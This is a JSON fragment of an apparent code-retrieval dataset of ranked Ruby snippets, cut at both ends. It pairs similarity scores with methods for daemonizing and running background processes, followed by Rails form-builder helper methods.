"text": "def run_background\n require 'daemons'\n if is_running?\n Deploy::Utils.debug \"Already running task #{task_name} at pid #{pid} status #{status}!\"\n return 1\n end\n\n app = Daemons.call(daemon_option) do\n call\n end\n return 1 unless app\n 0\n end",
"title": ""
},
{
"docid": "f532c28740355a7ebe58782b7c11435f",
"score": "0.55089885",
"text": "def start_foreground(options, argv = [])\n exec(setup_env(options), exec_path, *argv)\n end",
"title": ""
},
{
"docid": "f68e8814eef80d65374f707a55f360ce",
"score": "0.5506147",
"text": "def run!\n # call #session to initiate Restfully::Session object outside of threads\n logger.info \"#{banner}Using bonfire-api/#{session.root['version']}\"\n \n on(:error) { cleanup! }\n on(:terminated) { cleanup! }\n\n @tg_master.add(Thread.new {\n Thread.current.abort_on_exception = true\n monitor\n })\n\n initialized = if dev? && experiment(conf[:name])\n resuscitate!\n else\n deploy!\n end\n \n experiment.update(:status => \"running\")\n\n if initialized\n launch!\n else\n cleanup!\n end\n\n ThreadsWait.all_waits(*@tg_master.list)\n rescue Exception => e\n logger.error \"#{banner}#{e.class.name}: #{e.message}\"\n logger.debug e.backtrace.join(\"; \")\n trigger :error\n end",
"title": ""
},
{
"docid": "e5428c901892f1460c003faf987b59ec",
"score": "0.55051255",
"text": "def run\n begin\n puts \" [*] Running #{self.class.config[:application_name]} with pid #{Process.pid}\"\n puts \" [*] Running in #{self.class.env} environment\"\n puts \" [*] To exit press CTRL+C or send a SIGINT\"\n self.start\n loop do\n sleep(1)\n end\n rescue SystemExit, Interrupt => _\n self.stop\n end\n end",
"title": ""
},
{
"docid": "48c59d70f282c6e035a4182798515aa0",
"score": "0.5504146",
"text": "def daemon\n if fork == nil\n Process.setsid # create new session, disconnect from tty\n [$stdin, $stdout, $stderr].each { |stream| stream.reopen \"/dev/null\" }\n Wuby.new.listen\n end\nend",
"title": ""
},
{
"docid": "60017734e18b2eeb25b0a236a5385538",
"score": "0.5499107",
"text": "def start\n @pid = execute.command :start\n end",
"title": ""
},
{
"docid": "9724cccb18ae78a3beb6e3134ad8ff0a",
"score": "0.54940873",
"text": "def try_to_set_foreground\n title = \"IRB server running on \"\n text = \"Rerun the script to stop the server.\"\n ticker = \"IRB server running on\"\n icon = android.R::drawable::stat_sys_upload\n self.mBase = $app_context\n self.mActivityManager = Java::AndroidApp::ActivityManagerNative.get_default#$activity_manager.to_java(Java::AndroidApp::IActivityManager)\n self.mClassName = \"QuickStartActivity\"\n notification = android.app.Notification.new(icon, ticker, java.lang.System.currentTimeMillis)\n notification = Java::AndroidApp::Notification::Builder.new($activity.getApplicationContext).setContentTitle(\"Old New mail from #{Time.now}\").setContentText(\"Me\")\n intent = android.content.Intent.new($activity.getApplicationContext, QuickStartActivity.java_class)\n #intent.setFlags(android.content.Intent.FLAG_ACTIVITY_CLEAR_TOP | android.content.Intent.FLAG_ACTIVITY_SINGLE_TOP);\n #intent.setAction(\"org.ruboto.intent.action.LAUNCH_SCRIPT\")\n #intent.addCategory(\"android.intent.category.DEFAULT\")\n #intent.putExtra(\"org.ruboto.extra.SCRIPT_NAME\", \"demo-irb-server.rb\")\n pending = android.app.PendingIntent.getActivity($app_context, 0, intent, 0)\n #notification.setLatestEventInfo($activity.getApplicationContext, title, text, pending)\n #notification.setLatestEventInfo(@ruboto_java_instance, title, text, pending)\n notification.setContentIntent(pending);\n start_foreground(10, notification.build)\n end",
"title": ""
},
{
"docid": "c689b8218aae143a65b92749441f455a",
"score": "0.5492944",
"text": "def run\n Cool.io::Loop.default.run\n end",
"title": ""
},
{
"docid": "9f4902c14808de6040921b8c5c31d074",
"score": "0.548855",
"text": "def start \n `killall gammu-smsd` && puts(\"Killing Daemons!\")\n puts \"Loading Daemons......\"\n @phones.values.each do |provider|\n fork do\n exec \"gammu-smsd -c #{@datafolder+provider} &\"\n end\n end\n end",
"title": ""
},
{
"docid": "08f986407dba4a06c6ca1f6a4098a307",
"score": "0.5485413",
"text": "def start_cooler(args={})\n fc = Wihajster::GCode.format_command(\"Start cooler\", arguments)\n write_command(fc)\n end",
"title": ""
},
{
"docid": "d643c385dee070bc0755754abdd3866c",
"score": "0.5483853",
"text": "def shelll(target, *_args)\n require 'geordi/remote'\n\n Hint.did_you_know [\n :console\n ]\n\n Interaction.announce 'Opening a shell on ' + target\n Geordi::Remote.new(target).shell(options)\nend",
"title": ""
},
{
"docid": "668f390f783683a44574c377c6622fc8",
"score": "0.5479445",
"text": "def running; end",
"title": ""
},
{
"docid": "262151a2b44ff234c77731c49b20b9e9",
"score": "0.5473912",
"text": "def run_all\n start\n end",
"title": ""
},
{
"docid": "262151a2b44ff234c77731c49b20b9e9",
"score": "0.5473912",
"text": "def run_all\n start\n end",
"title": ""
},
{
"docid": "84ed5b387f74a49f55a0281dbffa8a6d",
"score": "0.5458038",
"text": "def start\n reactor_start unless running?\n end",
"title": ""
},
{
"docid": "7ab9980d1b28644743d40b69e7111257",
"score": "0.54533213",
"text": "def kill_all_foreground\n end",
"title": ""
},
{
"docid": "717a2c0048625ac67a024c92b6b3e2d5",
"score": "0.54522353",
"text": "def run\n return if pid\n\n listener_socket, master_socket = UNIXSocket.pair\n if @state.pid = fork\n # master\n listener_socket.close\n master_socket.close_on_exec = true\n log \"Started listener #{@state.pid}\"\n @state.master_socket = master_socket\n else\n # listener\n master_socket.close\n Master::TRAPS.each { |signal| trap(signal, \"DEFAULT\") rescue nil }\n Listener.new(@state.options.merge(socket: listener_socket)).exec\n exit\n end\n end",
"title": ""
},
{
"docid": "235b0d40b8634c11e16aec76001fb8cd",
"score": "0.5445561",
"text": "def set_background(command=nil)\n if command==nil\n return false\n end\n job = fork do\n exec command\n end\n Process.detach(job)\n end",
"title": ""
},
{
"docid": "b92fc7c229cb5d0bddbfb6414de659a1",
"score": "0.5441008",
"text": "def start\n bootstrap if bootstrap_neccessary?\n execute( start_command )\n end",
"title": ""
},
{
"docid": "d22c02b278826e9f110b648c1dc6c7fb",
"score": "0.54388404",
"text": "def run!\n before_start\n save_pid_file\n @running = true\n trap(:INT) { interrupt }\n trap(:TERM) { interrupt }\n after_start\n run\n end",
"title": ""
},
{
"docid": "af9120a73a97585bf34ba70954a5d8e4",
"score": "0.5437503",
"text": "def run!\n daemon_handle_signals\n with_pid_file do\n while (!shutdown) do\n begin\n job = UbiquoJobs.manager.get(name)\n if job\n log \"executing job #{job.id}\"\n job.run!\n result_msg = \"job #{job.id} finished - \"\n if job.state == UbiquoJobs::Jobs::Base::STATES[:finished]\n log \"#{result_msg} Ok\"\n else\n log \"#{result_msg} ERROR\", :error\n log \"Error log: #{job.error_log}\", :error\n if job.state == UbiquoJobs::Jobs::Base::STATES[:error]\n log \"Job #{job.id} will not be retried\", :error\n end\n end\n else\n log \"no job available\"\n wait\n end\n rescue StandardError\n log \"Worker got an exception with job #{job.id rescue nil}\", :error\n log $!.inspect + $!.backtrace.inspect\n wait\n rescue Exception\n log \"Unexpected exception! Worker main loop ended\", :error\n log $!.inspect\n raise $!\n end\n end\n end\n end",
"title": ""
},
{
"docid": "a940d0b0d6b6a2014454be4aa6d2599f",
"score": "0.5435619",
"text": "def run(*args)\n\t\t\t\t@options[:ontop] = true\n\t\t\t\tif server_running?\n\t\t\t\t\tputs \"Livecode server is already running on #{LivecodeServer.uri}\"\n\t\t\t\telse\n\t\t\t\t\tdaemon_group.new_application.start\n\t\t\t\tend\n\t\t\tend",
"title": ""
},
{
"docid": "abe5d13e6ca43be949c4458be432ea4d",
"score": "0.5435324",
"text": "def run\n super\n #\n @logger.info('Running...')\n raise CommandLineError.new('Cannot execute - SingleMode expects a task id') if @task_id.nil?\n # Load the task and execute it!.\n task = load_component(Automation::Component::TaskType, @task_id)\n task.start\n # Update the result of the mode to match the task it executed.\n update_result(task.result)\n end",
"title": ""
},
{
"docid": "65ed391fb667bb7417d07edea28eb440",
"score": "0.5433271",
"text": "def start\n\t\tself.log.debug \"Starting a %p\" % [ self.class ]\n\t\t@executor = Concurrent::SingleThreadExecutor.new( fallback_policy: :abort )\n\t\[email protected]_terminate = true\n\tend",
"title": ""
},
{
"docid": "2bb4a06db7af28c1b013279a35672c0e",
"score": "0.5431812",
"text": "def run!\n puts \"Jabbot #{Jabbot::VERSION} imposing as #{config.login} on #{config.channel}@#{config.server}\"\n\n onclose_block = proc {\n close\n puts \"\\nAnd it's a wrap. See ya soon!\"\n exit\n }\n\n Kernel.trap(:INT, onclose_block)\n Kernel.trap(:QUIT, onclose_block) rescue nil\n\n debug! if config.debug\n\n # Connect the bot and keep it running.\n EventMachine.run do\n connect\n\n stop_timer = EventMachine.add_periodic_timer(1) do\n if !connected?\n EventMachine.stop_event_loop\n end\n end\n end\n end",
"title": ""
},
{
"docid": "22435117599ae984d331d8e9396be3a0",
"score": "0.5430594",
"text": "def start\n run_all\n end",
"title": ""
},
{
"docid": "22435117599ae984d331d8e9396be3a0",
"score": "0.5430594",
"text": "def start\n run_all\n end",
"title": ""
},
{
"docid": "22435117599ae984d331d8e9396be3a0",
"score": "0.5430594",
"text": "def start\n run_all\n end",
"title": ""
},
{
"docid": "d8dc7dab4cfd64c5d6655124e674a35b",
"score": "0.5430454",
"text": "def run\n loop do\n supervisor = run!\n\n # Take five, toplevel supervisor\n sleep 5 while supervisor.alive?\n\n Logger.error \"!!! Celluloid::Group #{self} crashed. Restarting...\"\n end\n end",
"title": ""
},
{
"docid": "48ba35bce9011d8a29fd581a6eb3ca0e",
"score": "0.54243857",
"text": "def running?; end",
"title": ""
},
{
"docid": "48ba35bce9011d8a29fd581a6eb3ca0e",
"score": "0.54243857",
"text": "def running?; end",
"title": ""
},
{
"docid": "48ba35bce9011d8a29fd581a6eb3ca0e",
"score": "0.54243857",
"text": "def running?; end",
"title": ""
},
{
"docid": "48ba35bce9011d8a29fd581a6eb3ca0e",
"score": "0.54243857",
"text": "def running?; end",
"title": ""
},
{
"docid": "48ba35bce9011d8a29fd581a6eb3ca0e",
"score": "0.54243857",
"text": "def running?; end",
"title": ""
},
{
"docid": "48ba35bce9011d8a29fd581a6eb3ca0e",
"score": "0.54243857",
"text": "def running?; end",
"title": ""
},
{
"docid": "48ba35bce9011d8a29fd581a6eb3ca0e",
"score": "0.54243857",
"text": "def running?; end",
"title": ""
},
{
"docid": "48ba35bce9011d8a29fd581a6eb3ca0e",
"score": "0.54243857",
"text": "def running?; end",
"title": ""
}
] |
a238180281d12f8556157ca920bfa073
|
Form for Item instance (Common fields) This helper method will render the partial items/_form.html.erb and passed some parameters to it link the block to bind to that form. Parameters : object: Instance of an Item object title : String defining the form title &block : Block to bind to the partial for specific fields of that item object Usage : form_for_item article_object, title do |f| end
|
[
{
"docid": "851907d1c636291e1e4e5a0eda88baaa",
"score": "0.7808662",
"text": "def form_for_item(object, title = '', ajaxsubmit=nil,url=nil,&block )\n\t\tconcat(render(:partial => \"generic_for_item/form\", :locals => { :block => block, :title => title,:remote=>ajaxsubmit,:url=>url }))\n end",
"title": ""
}
] |
[
{
"docid": "c3024cc2760d3c0d942cae7c23e7e8ff",
"score": "0.68883854",
"text": "def form_for_container(object, title = '', &block)\n\t\tconcat(render(:partial => \"containers/form\", :locals => { :block => block, :title => title }))\n end",
"title": ""
},
{
"docid": "31631adb40c41eeca131a24b74e66989",
"score": "0.647596",
"text": "def form_for(obj, attrs={}, &block)\n set_multipart_attribute!(attrs)\n obj = obj_from_ivar_or_sym(obj)\n fake_form_method = set_form_method(attrs, obj)\n concat(open_tag(\"form\", attrs), block.binding)\n concat(generate_fake_form_method(fake_form_method), block.binding) if fake_form_method\n fields_for(obj, attrs, &block)\n concat(\"</form>\", block.binding)\n end",
"title": ""
},
{
"docid": "a8c22fe88ab162dcbc325f5089030cfe",
"score": "0.63289243",
"text": "def item_show(parameters, &block)\n concat(\n render( :partial => \"generic_for_item/show\",\n :locals => { :object => parameters[:object],\n :title => parameters[:title],\n :block => block }))\n end",
"title": ""
},
{
"docid": "7b20a07b1ff506db9536a28bf93d8576",
"score": "0.6219857",
"text": "def fields_for(object, options={}, &block)\n instance = builder_instance(object, options)\n fields_html = capture_html(instance, &block)\n fields_html << instance.hidden_field(:id) if instance.send(:nested_object_id)\n concat_content fields_html\n end",
"title": ""
},
{
"docid": "3cc4151b1b4d84968cf877448d900dfa",
"score": "0.6197788",
"text": "def form_block(title=\"\", options={}, &block)\n render \"/outpost/shared/form_block\",\n :title => title,\n :body => capture(&block),\n :options => options\n end",
"title": ""
},
{
"docid": "dd65115a8c402c366e01ef19d4498c4a",
"score": "0.6088093",
"text": "def standard_form(object, attrs = [], options = {}, &block)\n form_for(object, {:builder => StandardFormBuilder}.merge(options)) do |form|\n content = render(:partial => 'shared/error_messages', \n :locals => {:errors => object.errors})\n \n content << if block_given? \n capture(form, &block) \n else\n form.labeled_input_fields(*attrs)\n end\n \n content << labeled(nil, form.submit(\"Save\") + cancel_link(object))\n content.html_safe\n end\n end",
"title": ""
},
{
"docid": "322e6957fd5d2ee466a6ede9f0e57065",
"score": "0.60758406",
"text": "def fields_for(object, settings={}, &block)\n builder_class = configured_form_builder_class(settings[:builder])\n fields_html = capture_html(builder_class.new(self, object), &block)\n concat_content fields_html\n end",
"title": ""
},
{
"docid": "8b5cae2ee9b981c3101dec6c4106ac5d",
"score": "0.6053019",
"text": "def form_for(object, url, options={}, &block)\n instance = builder_instance(object, options)\n # this can erect instance.multipart flag if the block calls instance.file_field\n html = capture_html(instance, &block)\n options = { :multipart => instance.multipart }.update(options.reject{ |key,_| [:namespace, :as].include?(key) })\n form_tag(url, options) { html }\n end",
"title": ""
},
{
"docid": "e9c51a395c27c33308946d7d2c0df037",
"score": "0.5877836",
"text": "def resource_form(object, *args, &block)\n options = args.extract_options!\n options.merge!(\n :builder => Islay::FormBuilder,\n :html => {:id => 'islay-form'}\n )\n\n case object\n when Symbol, Array\n form_for(object, *(args << options), &block)\n else\n form_for([:admin, object], *(args << options), &block)\n end\n end",
"title": ""
},
{
"docid": "184fc23209f856763a964506ecc33c1c",
"score": "0.5848172",
"text": "def td_form name, object, &block\n url = { :action => \"create\" }\n html = { :class => \"standard\",\n :style => (@edit_on ? '' : \"display: none;\"),\n :multipart => true }\n concat form_tag(url, html) + \"<fieldset>\", block.binding\n concat '<input name=\"_method\" type=\"hidden\" value=\"put\" />', block.binding unless object.new_record?\n yield LabelingFormBuilder.new(name, object, self, {}, block)\n concat \"</fieldset>\", block.binding\n end",
"title": ""
},
{
"docid": "30118dafd517845bb27ce488bd2ae123",
"score": "0.5839197",
"text": "def jobware_form_for(*args, &block)\n options = args.extract_options!.merge(:builder => JobwareFormBuilder)\n\n if options[:use_fieldset].nil? or options[:use_fieldset]\n field_set_tag(options[:title], :class => 'big') { form_for(*(args + [options]), &block) }\n else\n form_for(*(args + [options]), &block)\n end\n end",
"title": ""
},
{
"docid": "c8d28aefaa5fc1a5160277a901127ce4",
"score": "0.5837903",
"text": "def standard_form name, object, &block\n url = { :action => object.new_record? ? \"index\" : \"show\" }\n html = { :class => \"standard\",\n :style => (@edit_on ? '' : \"display: none;\"),\n :multipart => true }\n concat form_tag(url, html) + \"<fieldset>\"\n concat '<input name=\"_method\" type=\"hidden\" value=\"put\" />' unless object.new_record?\n yield LabelingFormBuilder.new(name, object, self, {}, block)\n concat \"</fieldset>\"\n end",
"title": ""
},
{
"docid": "345f0dbc38be8e29064356c4951f1601",
"score": "0.5828513",
"text": "def standard_form(object, *attrs, &block)\n options = attrs.extract_options!\n options[:builder] ||= StandardFormBuilder\n options[:html] ||= {}\n add_css_class options[:html], 'form-horizontal'\n\n form_for(object, options) do |form|\n record = object.is_a?(Array) ? object.last : object\n content = render('shared/error_messages', :errors => record.errors, :object => record)\n\n content << if block_given?\n capture(form, &block)\n else\n form.labeled_input_fields(*attrs)\n end\n\n content << content_tag(:div, :class => 'form-actions') do\n form.button(ti(:\"button.save\"), :class => 'btn btn-primary') +\n ' ' +\n cancel_link(object)\n end\n content.html_safe\n end\n end",
"title": ""
},
{
"docid": "c084089261375893eabc52e82c48942c",
"score": "0.57791543",
"text": "def show_add_item_form\n # get entity which we are coming from\n @entity = convert_id_to_model(params[:id])\n \n initialise_item\n \n logger.debug @item.to_yaml\n render :partial => \"items/new_item_form\", :locals => { :entity => @entity, :item => @item }\n end",
"title": ""
},
{
"docid": "5bc2860e788e898bf12b78904fb76570",
"score": "0.57539177",
"text": "def show_edit_form(params)\n item_id = params['item_id']\n detail_items = Item.get_edit_items_by_item_id(item_id)\n categories = Categories.get_categories\n renderer = ERB.new(File.read(\"./views/edit.erb\"))\n renderer.result(binding)\n end",
"title": ""
},
{
"docid": "5f9c6062f3895d27f2904e97a02b108c",
"score": "0.5673639",
"text": "def edit_metadata\n render partial: \"items/metadata_form\",\n locals: { item: @item }\n end",
"title": ""
},
{
"docid": "7598ed5070723beac72c2d26eed9acb9",
"score": "0.5672942",
"text": "def fields_for(object, context_name, &block)\n result = \"\"\n\n push(context_name, object) do\n result << hidden_input(\"lock_version\", object[\"lock_version\"]) if object\n result << @parent.capture(object, &block)\n end\n\n extra_classes = \"\"\n\n # ANW-429: Add class to top level div so element can be switched out by JS based on user form input\n # TODO: refactor\n extra_classes += \"sdl-subrecord-form\" if context_name == \"structured_date_range\" || context_name == \"structured_date_single\"\n\n\n (\"<div data-name-path=\\\"#{set_index(self.path(context_name), '${index}')}\\\" \" +\n \" data-id-path=\\\"#{id_for(set_index(self.path(context_name), '${index}'), false)}\\\" \" +\n \" class=\\\"subrecord-form-fields-for #{extra_classes}\\\">#{result}</div>\").html_safe\n end",
"title": ""
},
{
"docid": "9e932f5fa268417cf2e9c8f627ed185e",
"score": "0.56457853",
"text": "def form_for model, attrs = {}, &block\n model = Object.const_get model.to_s.capitalize if model.is_a? Symbol\n model = model.new if model.is_a? Class\n with_form_context model do\n form model_name(model), attrs, &block \n end\n end",
"title": ""
},
{
"docid": "3272385cb7d9845f21c457126d1fcf4d",
"score": "0.56138206",
"text": "def foundation_form_for(record, options = {}, &block)\n options[:builder] = FoundationFormBuilder\n form_for record, options, &block\n end",
"title": ""
},
{
"docid": "e73aa410f0bb310761a7f39e232fa466",
"score": "0.56084585",
"text": "def view_for(record, options = {}, &block)\n raise ArgumentError, 'Missing block' unless block_given?\n\n html_options = options[:html] ||= {}\n html_options[:class] = (html_options[:class] || '').strip << ' readonly-form'\n\n case record\n when String, Symbol\n object_name = record\n object = nil\n else\n object = record.is_a?(Array) ? record.last : record\n object_name = model_name_from_record_or_class(object).param_key\n end\n builder = FormViewBuilder.new(object_name, object, self, options)\n output = capture(builder, &block)\n\n content_tag(:div, html_options) { output }\n end",
"title": ""
},
{
"docid": "131fc479d8a11e170eace20c581a9dbf",
"score": "0.55802023",
"text": "def render_fields_for(object)\n prefix = object.singularize == singular_name ? '' : object.pluralize + '/'\n assign_in_template { \"#{form_reference}.fields_for {|fields| render :partial => '#{prefix}form_fields', :locals => {:#{form_reference} => fields} }\" }\n end",
"title": ""
},
{
"docid": "ae0aaf99a6f56fa40acf9434a37ca005",
"score": "0.55215365",
"text": "def form(&block)\n raise \"You need to provide block to form representation\" unless block_given?\n namespace = get_namespace\n namespace = '/' + namespace unless namespace.blank?\n path = namespace + '/' + @name.pluralize\n path.downcase!\n if @value.new_record?\n #path += \n r_for_form = NewRecordRepresentation.new(@value, @template, @name, @parent)\n content = @template.capture(r_for_form, &block)\n @template.concat(@template.form_tag(path, :method => \"post\"))\n else\n content = @template.capture(self, &block)\n path += '/' + \"#{@value.id}\"\n @template.concat(@template.form_tag(path, :method => \"put\"))\n end\n @template.concat(content)\n @template.concat(\"</form>\")\n self\n end",
"title": ""
},
{
"docid": "37d2d93642acfc2b50f9e67e3827bc3e",
"score": "0.55043906",
"text": "def model_form(\n label: nil,\n action: nil,\n cancel: nil,\n uploader: nil,\n outer: nil,\n css: '.model-form',\n **opt\n )\n outer_css = '.form-container'\n uploader = UPLOADER_CLASS if uploader.is_a?(TrueClass)\n action = action&.to_sym || context[:action] || DEFAULT_FORM_ACTION\n classes = [action, model_type, uploader]\n\n prepend_css!(opt, css, *classes)\n model_form_options!(opt, action: action)\n make_scroll_to_top_target!(opt)\n\n buttons = form_buttons(label: label, action: action, cancel: cancel)\n outer_opt = prepend_css(outer, outer_css, *classes)\n html_div(outer_opt) do\n form_with(model: object, **opt) do |f|\n parts = form_hidden_fields(f)\n parts << form_top_controls(f, *buttons)\n parts << field_container\n parts << form_bottom_controls(f, *buttons)\n safe_join(parts.compact, \"\\n\")\n end\n end\n end",
"title": ""
},
{
"docid": "8c8d74a05703eca6b339b1d1b44a2f76",
"score": "0.55021167",
"text": "def form_section_for (object_name, object, options = {}, &proc) #:yields: FormSectionBuilder/FormBuilder\n\t\t\t\traise ArgumentError, \"form_section_for needs a block\" unless block_given?\n\t\t\t\t\n\t\t\t\toptions = options.symbolize_keys\n\t\t\t\toptions[:builder] = (options.delete(:builder) || FormBuilder).new(object_name, object, self, options.delete(:builder_options), proc)\n\t\t\t\tform_section(options, &proc)\n\t\t\tend",
"title": ""
},
{
"docid": "798d6fcb5fb66f57ff2893215efead01",
"score": "0.5487641",
"text": "def the_widget(attrs = {}, &block)\n attrs = {qty_truncate: 100, block_right: '', attend_right: true, class: '', photo: false}.merge(attrs)\n photo = ''\n photo = \"<div class='overflow_hidden' style='max-height: 145px; margin-bottom: 10px;'><img style='min-width: 100%; max-width: none;' src='#{object.photo.url}'></div>\" if attrs[:photo]\n link = the_attend_link\n \n \"<form class='#{attrs[:class]} media ujs_block_loading ujs_link_modal cursor_pointer event_media_item' action='#{the_url}' data-remote='true' onclick=\\\"if(!$(window.event.target).is('a')) $(this).submit();\\\" data-modal-title='Event Details'>\n #{photo}\n <div class='media-left text-center nowrap'>\n <div class='text-red'>#{object.start_at.strftime(\"%b\") if object.start_at}</div>\n <div class='num'>#{object.start_at.strftime(\"%d\") if object.start_at}</div>\n </div>\n <div class='media-body'>\n <div class='media-heading'>\n #{object.name}\n </div>\n <div class='small text-gray'>\n #{object.description.truncate(attrs[:qty_truncate])}\n <div class='p_attending'>#{the_attending}</div>\n </div>\n #{block ? h.capture(&block) : ''}\n #{\"<div class='text-center margin_top5'>#{link}</div>\" unless attrs[:attend_right]}\n </div>\n <div class='media-right'>\n #{link if attrs[:attend_right]}\n #{attrs[:block_right]}\n </div>\n </form>\".html_safe\n end",
"title": ""
},
{
"docid": "b5b699f9c0408709a59dfc8c09105b94",
"score": "0.5463403",
"text": "def fill_form_with(attributes)\n fill_title_input_with attributes[\"title\"]\n fill_description_input_with attributes[\"description\"]\n fill_summary_input_with attributes[\"summary\"]\n # fill_youtube_link_with attributes[\"youtube_link\"]\n # fill_category_input_with attributes[:category]\n end",
"title": ""
},
{
"docid": "eee301b4b2df5ac0f81704431b0d567a",
"score": "0.54468226",
"text": "def labelled_form_for(name, object, options={}, &proc)\n form_for(name, object, options.merge(:builder => LabelledFormBuilder), &proc)\n end",
"title": ""
},
{
"docid": "93f5625fe8a630fe813227253aa942cf",
"score": "0.5400783",
"text": "def render_form(model,object,method)\n object = model.new unless object\n render(model.name.downcase + 'form', binding)\n end",
"title": ""
},
{
"docid": "569723635ab5cfffb1e53acc9ee63b92",
"score": "0.5400457",
"text": "def record_form_for(record, options = {}, &block)\n case record\n when String, Symbol\n object_name = record\n else\n object = record.is_a?(Array) ? record.last : record\n raise ArgumentError, 'First argument in form cannot contain nil or be empty' unless object\n object_name = options[:as] || model_name_from_record_or_class(object).param_key\n end\n options = options.merge(html: form_record_for(object_name), builder: PageRecord::FormBuilder)\n form_for(record, options, &block)\n end",
"title": ""
},
{
"docid": "910fe57de44ca0ec4b29ef9a49ab053a",
"score": "0.5399095",
"text": "def show_item_update_form\n # get entity which we are coming from\n @entity = convert_id_to_model(params[:id])\n @item = Item.find(params[:item_id])\n @dom_id = generate_id(@item)\n \n render :layout => false\n end",
"title": ""
},
{
"docid": "9e167328d9f54d3dad01287ca9f4c94c",
"score": "0.53922987",
"text": "def create_form_for_workflow_item(workflowitemId, widgetId, work_obj)\n puts \"Creating form for \" +workflowitemId.inspect\n puts \"The Id is \" +widgetId.inspect\n \n \n workflowObject_id = workflowitemId + \"_\" + widgetId\n \n \n workflowObj = nil\n \n \n if @workflowObjects[workflowObject_id] != nil\n workflowObj = @workflowObjects[workflowObject_id]\n end\n \n form_creator = FormCreator.new\n html_str = form_creator.create_form(workflowitemId, widgetId, workflowObj)\n \n \n\n return html_str\n \n end",
"title": ""
},
{
"docid": "03615279fc5669f18987b50e91b3b1c3",
"score": "0.5386545",
"text": "def inner_form_block\n form.simple_fields_for(attribute_name) do |inside_form|\n capture do\n yield(inside_form)\n end.html_safe\n end\n end",
"title": ""
},
{
"docid": "25d3fb667481c01af7c733538c12f5d4",
"score": "0.53803617",
"text": "def simple_form_for(object, options={}, &block)\n options.reverse_merge! :builder => FormBuilder,\n :url => create_or_update_resource_path(object)\n\n super(object, options, &block)\n end",
"title": ""
},
{
"docid": "9e28ab6586355fcd008ebcc21b7640b9",
"score": "0.5370758",
"text": "def single_item_action_form_fields(form, document, action)\n render 'hyrax/dashboard/collections/single_item_action_fields', form: form, document: document, action: action\n end",
"title": ""
},
{
"docid": "89a99598a3055e073c8588efaf75b3b8",
"score": "0.53636503",
"text": "def id_update_form\n @item = Item.find(params[:id])\n end",
"title": ""
},
{
"docid": "c98c4efb49a7063509edba92f6f042fb",
"score": "0.53499115",
"text": "def new\n @generic_item = GenericItem.new( params[:generic_item] )\n render :layout => false\n end",
"title": ""
},
{
"docid": "b156ca690000e28f0e7631e58ce4a7f2",
"score": "0.5346792",
"text": "def wrapped_form(object, action_name, options = {})\n form_wrapper = \"#{get_unique_tag}_#{options[:wrapper]}\"\n options.merge!(:wrapper => form_wrapper)\n content_tag(:div, options[:input_form] ? \n input_form(object, 'new', options) : _form(object, 'new', options),\n :id => form_wrapper)\n end",
"title": ""
},
{
"docid": "d6c344658045c567e55129553b19ba44",
"score": "0.5311107",
"text": "def section_for (object_name, object, options = {}, &proc) #:yields: FormSectionBuilder/FormBuilder\n\t\t\t\[email protected](:form_section_for, object_name, object, :builder => self.class, &proc)\n\t\t\tend",
"title": ""
},
{
"docid": "99055e9f62f72b3492dbcc1ae3e47bb0",
"score": "0.53089535",
"text": "def inner_form_block\n form.simple_fields_for(attribute_name, include_id: false) do |inside_form|\n capture do\n yield(inside_form)\n end.html_safe\n end\n end",
"title": ""
},
{
"docid": "a1ed6915f561cd6c47ca7efaa8a115e9",
"score": "0.5296576",
"text": "def initialize object_name, object, template, options\n options[:html]||={}\n html = options[:html]\n @form_class = options[:class]\n html[:class]=\"#{html[:class]} #{@form_class}\"\n html[:role]=\"form\"\n html[:autocomplete]||='off'\n html[:id]=options[:id] if options[:id]\n @builder_container = options[:parent_builder] || self\n if parent?\n @validations = {}\n html[:id]||=\"#{object_name}_#{object.object_id}\"\n @parent_id = html[:id]\n end\n super object_name, object, template, options\n end",
"title": ""
},
{
"docid": "e77e4a81780d9e0f2e0a27dc350798c1",
"score": "0.5285921",
"text": "def edit_embargoes\n render partial: \"items/embargoes_form\",\n locals: { item: @item }\n end",
"title": ""
},
{
"docid": "dd61af3399963ff8b505a8f80ff0a7b2",
"score": "0.52756554",
"text": "def xx_form_with(**options, &block)\n options[:model] = ActiveSupport::InheritableOptions.new(_values.symbolize_keys) unless options.key?(:model)\n\n form_with(**options, &block)\n end",
"title": ""
},
{
"docid": "90289e7aba40fba4a989877508a455cf",
"score": "0.52714443",
"text": "def process(data, form_object)\n @form_object = form_object \n \n if (!data.blank?) \n # Decode the data\n decode_data(data)\n \n # Check and make sure all fields that define this item in the form\n # definition file is correct \n check_item_fields()\n \n # If this item is to be sorted make sure the field used for\n # sorting exists\n check_sort_order_field()\n \n # Create a unique id for this object\n @item_id = get_item_id()\n\n # Process child items if required\n process_child_items() \n\n # Remove any variables that we do not want to save to the DB\n cleanup()\n \n # Add the object to the item_index hash\n @form_object.item_index[@item_id.to_s] = self\n end\n end",
"title": ""
},
{
"docid": "8e1e5f0e82f9a2ead8b78b0878a034c5",
"score": "0.5265536",
"text": "def form(*args, &blk)\n _singleton_form_context.form(*args, &blk)\n end",
"title": ""
},
{
"docid": "88723d9ebbdeaf84139c419c27f34f87",
"score": "0.5243596",
"text": "def create_form(form_args, passed_block = nil)\n form_args[:model] = model\n form_args[:class] = 'form col-12'\n\n view.form_with form_args do |form|\n @form = form\n block_given? ? yield : passed_block.call(self)\n end\n end",
"title": ""
},
{
"docid": "8af09e1fae2dc1b2388228861859df38",
"score": "0.52375627",
"text": "def new\n @item = Item.new(classification_id: ItemClassification.find_by_name('Object').id)\n\n respond_to do |format|\n format.html { render layout: 'form' }# new.html.erb\n format.json { render json: @item }\n end\n end",
"title": ""
},
{
"docid": "26a5b86f3e6d092d92c9932e98c17cc6",
"score": "0.5234213",
"text": "def submit_form_for resource, options=nil, &block\n form_for resource, merge_submit_options(options) do |f| block.call f end\n end",
"title": ""
},
{
"docid": "d1e0a870bb6059eaab1e9efc50800388",
"score": "0.52220136",
"text": "def form\n raise SecuityException unless [\n \"HeadlineContentItem\",\n \"StoryTextContentItem\",\n \"PhotoContentItem\",\n \"VideoContentItem\",\n \"HorizontalRuleContentItem\"\n ].include?(params[:type])\n @content_item = params[:type].camelize.constantize.new\n render layout: false\n end",
"title": ""
},
{
"docid": "4edca68e4d3e4da89e823e1639860e64",
"score": "0.52073306",
